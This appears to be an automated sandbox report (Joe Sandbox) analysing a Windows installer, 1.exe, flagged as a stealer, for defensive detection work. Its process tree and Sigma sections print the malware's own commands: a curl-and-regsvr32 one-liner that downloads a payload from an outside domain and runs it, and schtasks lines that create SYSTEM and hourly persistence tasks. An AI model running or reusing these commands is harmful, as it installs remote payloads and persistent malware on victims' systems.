Edit tour

Windows Analysis Report
1.exe

Overview

General Information

Sample name:	1.exe
Analysis ID:	1632500
MD5:	579b4e8f3f1d1ac2b24ad60155a2f355
SHA1:	ccd06a9a07fdf919160b5ee49ac055f8770110c4
SHA256:	77be5500892fee02b79e58782dbb213e952d2c4badbb2ab862f3f4d304ec9b4e
Tags:	exeNOBISLLCuser-SquiblydooBlog
Infos:

Detection

Score:	48
Range:	0 - 100
Confidence:	100%

Compliance

Score:	34
Range:	0 - 100

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Schtasks Creation Or Modification With SYSTEM Privileges

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Msiexec Initiated Connection

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Sigma detected: Scripting/CommandLine Process Spawned Regsvr32

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores large binary data to the registry

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected AdvancedInstaller

Classification

Process Tree

System is w10x64

1.exe (PID: 7448 cmdline: "C:\Users\user\Desktop\1.exe" MD5: 579B4E8F3F1D1AC2B24AD60155A2F355)

1.exe (PID: 1928 cmdline: "C:\Users\user\Desktop\1.exe" /i "C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Distributor Software.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Atomix" SECONDSEQUENCE="1" CLIENTPROCESSID="7448" CHAINERUIPROCESSID="7448Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" PRIMARYFOLDER="APPDIR" ROOTDRIVE="C:\" AI_DETECTED_ADMIN_USER="1" AI_SETUPEXEPATH="C:\Users\user\Desktop\1.exe" SETUPEXEDIR="C:\Users\user\Desktop\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1741399570 " TARGETDIR="C:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\user\Desktop\1.exe" AI_INSTALL="1" MD5: 579B4E8F3F1D1AC2B24AD60155A2F355)

msiexec.exe (PID: 1008 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 2900 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding F574E926F0549E16F7448F5C9BE1C2BF C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 3120 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 9539C2E5DC35A3081EC0BB575F66643E MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 2212 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 208B5DB405716A1E55D335C3D35AEAD8 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MainSoftware.exe (PID: 4512 cmdline: "C:\Program Files (x86)\Main\MainSoftware.exe" Persistent MD5: 7E91C0735D8936E8572276340A6F252E)

schtasks.exe (PID: 4996 cmdline: "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4936 cmdline: "schtasks.exe" /run /tn "MyPersistentApp_Hourly" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 4928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SoftwareDistributor.exe (PID: 7776 cmdline: "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://qb-hos.pages.dev/page-2/?source_id=6 MD5: 9A55270C8C060189F9F805EB78ACEB1B)

schtasks.exe (PID: 5456 cmdline: "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MainSoftware.exe (PID: 5412 cmdline: "C:\Program Files (x86)\Main\MainSoftware.exe" Loop MD5: 7E91C0735D8936E8572276340A6F252E)

Install.exe (PID: 7260 cmdline: "C:\Program Files (x86)\Main\Chop\Install.exe" MD5: 675F1B648B3E8810A4A32FE32546490B)

conhost.exe (PID: 1852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5872 cmdline: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3300 cmdline: curl --ssl-no-revoke https://wetransfers.io/v.php -o "C:\Users\user\AppData\Local\Temp\219880.ocx" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

regsvr32.exe (PID: 3424 cmdline: regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\219880.ocx" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

Install.exe (PID: 2896 cmdline: "C:\Program Files\Surfclub\Install.exe" install https://qb-hos.pages.dev/page-2/?source_id=6 MD5: E34B28F5A5D88A3EA073DAB5959EF122)

Install.exe (PID: 5064 cmdline: "C:\Program Files\Surfclub\Install.exe" install https://qb-hos.pages.dev/page-2/?source_id=6 MD5: E34B28F5A5D88A3EA073DAB5959EF122)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AdvancedInstaller	Yara detected AdvancedInstaller	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f, CommandLine: "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://qb-hos.pages.dev/page-2/?source_id=6, ParentImage: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe, ParentProcessId: 7776, ParentProcessName: SoftwareDistributor.exe, ProcessCommandLine: "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f, ProcessId: 5456, ProcessName: schtasks.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Schtasks Creation Or Modification With SYSTEM Privileges

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f, CommandLine: "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://qb-hos.pages.dev/page-2/?source_id=6, ParentImage: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe, ParentProcessId: 7776, ParentProcessName: SoftwareDistributor.exe, ProcessCommandLine: "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f, ProcessId: 5456, ProcessName: schtasks.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 104.21.80.136, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 2212, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Source: Network Connection

Author: Dmitriy Lifanov, oscd.community: Data: DestinationIp: 149.154.167.220, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\regsvr32.exe, Initiated: true, ProcessId: 3424, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49718

Sigma detected: Scripting/CommandLine Process Spawned Regsvr32

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\219880.ocx", CommandLine: regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\219880.ocx", CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5872, ParentProcessName: cmd.exe, ProcessCommandLine: regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\219880.ocx", ProcessId: 3424, ProcessName: regsvr32.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"", CommandLine: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Main\Chop\Install.exe" , ParentImage: C:\Program Files (x86)\Main\Chop\Install.exe, ParentProcessId: 7260, ParentProcessName: Install.exe, ProcessCommandLine: "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!"", ProcessId: 5872, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-08T03:08:58.860144+0100	2829202	1	A Network Trojan was detected	192.168.2.5	49701	104.21.80.136	443	TCP
2025-03-08T03:09:12.361080+0100	2829202	1	A Network Trojan was detected	192.168.2.5	49703	104.21.80.136	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Main\Chop\Install.exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: 1.exe	Virustotal: Detection: 27%			Perma Link
Source: 1.exe	ReversingLabs: Detection: 21%

Privilege Escalation

EXE planting / hijacking vulnerabilities found

Source: C:\Users\user\Desktop\1.exe	EXE: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Addons\SoftwareDistributor.exe			Jump to behavior
Source: C:\Users\user\Desktop\1.exe	EXE: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\ProgramFilesFolder\Main\MainSoftware.exe			Jump to behavior

Compliance

EXE planting / hijacking vulnerabilities found

Source: C:\Users\user\Desktop\1.exe	EXE: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Addons\SoftwareDistributor.exe			Jump to behavior
Source: C:\Users\user\Desktop\1.exe	EXE: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\ProgramFilesFolder\Main\MainSoftware.exe			Jump to behavior

Uses 32bit PE files

Source: 1.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Creates install or setup log file

Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Addons\Surfclub\How to uninstall.txt	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\How to uninstall.txt	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\How to uninstall.txt	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\How to uninstall.txt	Jump to behavior

PE / OLE file has a valid certificate

Source: 1.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 104.21.80.136:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.71:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.71:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.71:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.136:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.211:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.211:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49727 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: 1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net8.0\System.Threading.Thread.pdb source: MainSoftware.exe, 00000010.00000002.2142756269.0000027538140000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261474850.000002BDD0C91000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Sockets.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143851076.0000027538581000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143804192.0000027538541000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Json\Release\net8.0\System.Text.Json.pdb source: MainSoftware.exe, 00000010.00000002.2143394007.00000275383E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143312727.000002753834C000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdb source: MainSoftware.exe, 00000010.00000002.2143093774.00000275382B1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: Microsoft.Win32.Registry.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143232066.0000027538317000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143295395.0000027538331000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdbSHA256P?> source: MainSoftware.exe, 00000010.00000002.2142461937.0000027537EE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142367623.0000027537EB3000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography\Release\net8.0-windows\System.Security.Cryptography.pdb source: MainSoftware.exe, 00000010.00000002.2142592762.0000027537FB6000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142689155.0000027538081000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdb source: MainSoftware.exe, 00000010.00000002.2141897499.0000027536210000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdb source: MainSoftware.exe, 00000010.00000002.2142592762.0000027537FB1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Security.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142559459.0000027537F61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142488273.0000027537F19000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Security.Principal.Windows.ni.pdb source: MainSoftware.exe, 00000010.00000002.2151399807.000002753B3D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151185629.000002753B3B1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.NonGeneric\Release\net8.0\System.Collections.NonGeneric.pdb source: MainSoftware.exe, 00000010.00000002.2143077066.00000275382A1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143041301.0000027538291000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ObjectModel.ni.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352B4000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdbSHA256t source: MainSoftware.exe, 00000010.00000002.2143935572.00000275385E2000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143966375.00000275385F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Http.Json.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143160448.00000275382EA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143209931.0000027538301000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net8.0\System.Collections.Concurrent.pdb source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384FD000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143781631.0000027538521000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\Users\Admin\Distributor\Installers Project\Generic\ConsoleApp1\obj\Release\net8.0\win-x64\ConsoleApp1.pdb source: MainSoftware.exe, 00000010.00000002.2139786896.000002349ED61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139740826.000002349ED57000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net8.0-windows\System.Net.NameResolution.pdb source: MainSoftware.exe, 00000010.00000002.2150696251.000002753B381000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2150453848.000002753B36D000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net8.0\System.Linq.pdb source: MainSoftware.exe, 00000010.00000002.2140001032.000002349EDF3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140127974.00000234A06D1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Text.Json.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143394007.00000275383E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143312727.000002753834C000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Linq.ni.pdb source: MainSoftware.exe, 00000010.00000002.2140001032.000002349EDF3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140127974.00000234A06D1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net8.0\System.Diagnostics.Tracing.pdb source: MainSoftware.exe, 00000010.00000002.2141976926.0000027536269000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142022174.0000027536271000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ComponentModel.EventBasedAsync.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142971155.0000027538262000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Numerics.Vectors\Release\net8.0\System.Numerics.Vectors.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2143681745.00000275384E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143619192.00000275384DC000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog/obj/Release/net8.0/Serilog.pdb source: MainSoftware.exe, 00000010.00000002.2140213322.00000234A0741000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140154271.00000234A070D000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: wininet.pdbUGP source: 1.exe, 00000004.00000003.1321424870.0000000009918000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517432545.000000000744C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Collections.ni.pdb source: MainSoftware.exe, 00000010.00000002.2139962633.000002349EDC9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139926749.000002349ED91000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2141840198.0000027536161000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141751848.00000275360B8000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Uri\Release\net8.0\System.Private.Uri.pdb source: MainSoftware.exe, 00000010.00000002.2142815364.0000027538167000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142869783.0000027538191000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net8.0-windows\System.Net.Primitives.pdb source: MainSoftware.exe, 00000010.00000002.2141954837.0000027536241000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141897499.000002753621B000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net8.0\System.Threading.pdb source: MainSoftware.exe, 00000010.00000002.2139484867.000002349EBE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142756269.000002753814B000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net8.0\System.Threading.Thread.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2142756269.0000027538140000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261474850.000002BDD0C91000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Security.Claims.ni.pdb source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2142592762.0000027537FB1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2143093774.00000275382B1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Ping.ni.pdb source: MainSoftware.exe, 00000010.00000002.2141897499.0000027536210000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ObjectModel\Release\net8.0\System.ObjectModel.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352B4000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x64\Release\System.Private.CoreLib.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdbSHA256S source: MainSoftware.exe, 00000010.00000002.2141897499.0000027536210000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdb source: MainSoftware.exe, 00000010.00000002.2152351430.000002753B451000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151993346.000002753B43C000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/netstandard/Release/net8.0-windows/netstandard.pdb source: MainSoftware.exe, 00000010.00000002.2141619079.0000027536038000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141673495.0000027536061000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbp source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp
